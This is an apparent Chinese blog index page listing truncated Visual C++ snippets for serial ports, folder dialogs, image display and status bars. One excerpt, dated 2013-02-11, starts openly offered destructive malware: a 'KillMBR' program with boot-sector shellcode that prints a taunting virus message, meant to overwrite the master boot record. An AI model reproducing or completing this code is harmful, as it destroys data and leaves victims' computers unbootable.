现在位置: 首页 > 代码集锦
2013-05-11 21:47 工业·编程 ⁄ 共 2289字 暂无评论
    先建立一个基于对话框的小程序,做好界面有串口号,打开串口按钮,关闭串口按钮,发送按钮,接收数据区和发送数据区。然后给串口号即组合框添加变量 CComboBox m_ctrlComPort;给接收数据编辑框添加关联变量 CString m_strRxMsg;给发送数据编辑框添加关联变量 CString m_strTxMsg;然后将SerialPort类的头文件和C++文件复制到工程中区,然后将它们添加到工程中去,将SerialPort的头文件包含到对话框中文件中去...
阅读全文
CSerialPort类由Remon Spekreijse提供,1997-7-15编写,网址. //头文件.h #ifndef __SERIALPORT_H__ #define __SERIALPORT_H__ #define WM_COMM_BREAK_DETECTED  WM_USER+1 // A break was detected on input. #define WM_COMM_CTS_DETECTED  WM_USER+2 // The CTS (clear-to-send) signal changed state. #define WM_COMM_DSR_DETECTED  WM_USER+3 // The DSR (data-set-ready) signal changed state. ...
阅读全文
    打开文件目录对话框,我找到的方法就是使用SHBrowseForFolder函数,这个函数的原型是LPITEMIDLIST SHBrowseForFolder(LPBROWSEINFO lpbi)。函数很简单,就一个返回值和一个参数。参数简单罗列如下 typedef struct _browseinfo {      HWND hwndOwner;            // 父窗口句柄      LPCITEMIDLIST pidlRo...
阅读全文
2013-04-04 21:30 工业·编程 ⁄ 共 681字 暂无评论
//选择目录 void CDemoDlg::OnClickedButtonFolder() {     char szPath[MAX_PATH];     m_folder.GetWindowTextA(szPath, MAX_PATH);     BROWSEINFO bi={};     bi.hwndOwner=m_hWnd;     bi.lpszTitle="请选择输入目录";     bi.lpfn=CDemoDlg::BrowseCall...
阅读全文
    很久以来,我都被一个问题困扰。关于程序中显示图像的问题,我在网络上搜索了很长时间,找到了无数的解决方案,比如分析文件格式,直接读取文件的;用控件的(ImgEdit);以及不知道内部实现方法的库(ImageLoad)。而我找到的方法大都不容易使用,特别是那些直接按位读取图像的。很多时候我不得不为每种文件格式写一段代码。 目前我的解决方案     在使用了多种图形显示方案之后,我决定使用微...
阅读全文
想做个东西,用VC,希望是在程序界面上能把指定 URL 的图片显示出来,还没找到如何显示 HTTP 资源的图片,先还是让本地图片能在 VC 的窗口(包括各种控件)中显示出来吧。在网上搜索了一番,大家代码都如出一辙,我也不能生搬硬载,不由又亲手实践了一下,并连同原来学过的 Window SDK 做窗口程序也复习了一遍,没有使用到 MFC,只需存成单个源文件,甚至用 CL 命令来编译都无须打开 VC 的,在 VC6 中测试通过。 代码如下:(仅...
阅读全文
1.问题阐述 在VB 中显示一个图像非常简单,只要将图像控件拖入到面板中,设置相应的属性即可。其实它的显示原理只是调用Windows的Ipicture接口,本节重点介绍了这一接口。 2.实现技巧 如何利用IPicture显示图像呢?首先了解一下这个接口的内容和作用、IPicture接口是一个COM类,操纵着图像对象及其属性。图像对象提供对位图的抽象,而Windows负责BMP、JPG和GIF位图的标准实现。IPictrue接口支持BMP、DIB、EMF、GIF、ICO、JPG...
阅读全文
1.读取图片数据 函数原型:bool LoadImage(const char *pName, unsigned char *pBitData); 函数功能,读取pName指向的图片文件的位图数据 bool LoadImage(const char *pName, unsigned char *pBitData) {     HDC     hdcTemp; // DC用来保存位图     HBITMAP     hbmpTemp; // 保存临时位图     IPicture   ...
阅读全文
2013-02-11 22:58 工业·编程 ⁄ 共 1181字 暂无评论
#include <windows.h> #include <string.h> #include <winioctl.h> unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; void KillMBR(void); void main(void) { ...
阅读全文
2013-02-10 22:56 工业·编程 ⁄ 共 362字 暂无评论
1:添加字符窜资源String Tab 2:CStatusBar m_wndStatusBar; 3:在OnInitDialog()中加入 CRect rect; GetClientRect(rect); if(!m_wndStatusBar.Create(this)||!m_wndStatusBar.SetIndicators(indicators,   sizeof(indicators)/sizeof(UINT))) {   TRACE0("未能创建状态栏\n");   return -1; } m_wndStatusBar.MoveWindow(0,rect.bottom-30,rect.right,30); 4:在实现...
阅读全文